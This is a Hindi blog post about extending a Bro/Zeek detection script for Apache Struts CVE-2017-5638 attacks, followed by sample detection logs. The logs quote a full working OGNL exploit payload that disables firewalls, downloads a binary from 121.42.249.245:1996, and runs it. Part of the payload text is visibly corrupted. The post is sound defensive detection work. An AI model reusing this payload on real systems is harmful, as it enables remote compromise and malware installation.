
Apache Struts सर्वेक्षण और समझौता के लिए पता लगाना
मैंने स्कॉट कैम्पबेल की स्क्रिप्ट को और आगे बढ़ाया, इसे और जटिल बना दिया :)
जबकि "HTTP_StrutsAttack" रिकॉन को 100% रोक देगा, फिर भी एक छोटी सी संभावना थी कि यदि कोई स्कैनर किसी कमजोर सिस्टम को हिट करता है, भले ही हम स्कैनर को ब्लॉक कर दें, कमजोर सिस्टम HTTP अनुरोध में शामिल wget को निष्पादित कर सकता है और मैलवेयर को चला सकता है। चूंकि हम wget URL में मैलवेयर डाउनलोड IP को ब्लॉक नहीं कर रहे हैं जो लगभग हमेशा रिकॉन IP से अलग होता है।
इसलिए विस्तारित स्क्रिप्ट मैलवेयर डाउनलोड IP को भी निकालती है।
निम्नलिखित नोटिस उत्पन्न करें:
redef enum Notice::Type += {
Attempt,
MalwareURL,
HostileDomainLookup,
MalwareURLClick,
FileDownload,
Compromise,
};
तो अब यह स्क्रिप्ट Attempt से "wget" URL निकालेगी और यदि URL में कोई डोमेन (या cnamed डोमेन) है, तो स्क्रिप्ट मैलवेयर होस्ट के IP पतों को ट्रैक करेगी और गतिविधि पर नज़र रखेगी।
यदि wget URL http में दिखाई देता है, तो हम एक MalwareURLClick नोटिस उत्पन्न करेंगे।
FileDownload और Compromise के लिए आगे के नोटिस।
यह स्क्रिप्ट क्लस्टरीकृत भी है।
मैंने इसे 24 घंटे से अधिक चलाया और स्क्रिप्ट के संबंध में चीजें स्थिर दिख रही हैं। मुझे अभी भी यकीन है कि कुछ कमजोर डिटेक्शन होल हो सकते हैं। इसलिए बेझिझक संशोधित करें और मुझे भी बताएं।
आश्चर्यजनक रूप से, पिछली बार के विपरीत, मुझे Struts स्कैनर की भारी मात्रा नहीं दिख रही है। मैं दिन में ~20 की रेंज में देख रहा हूँ, न कि ~1 000 प्रति दिन।
यहाँ उदाहरण नोटिस हैं:
1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -
1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F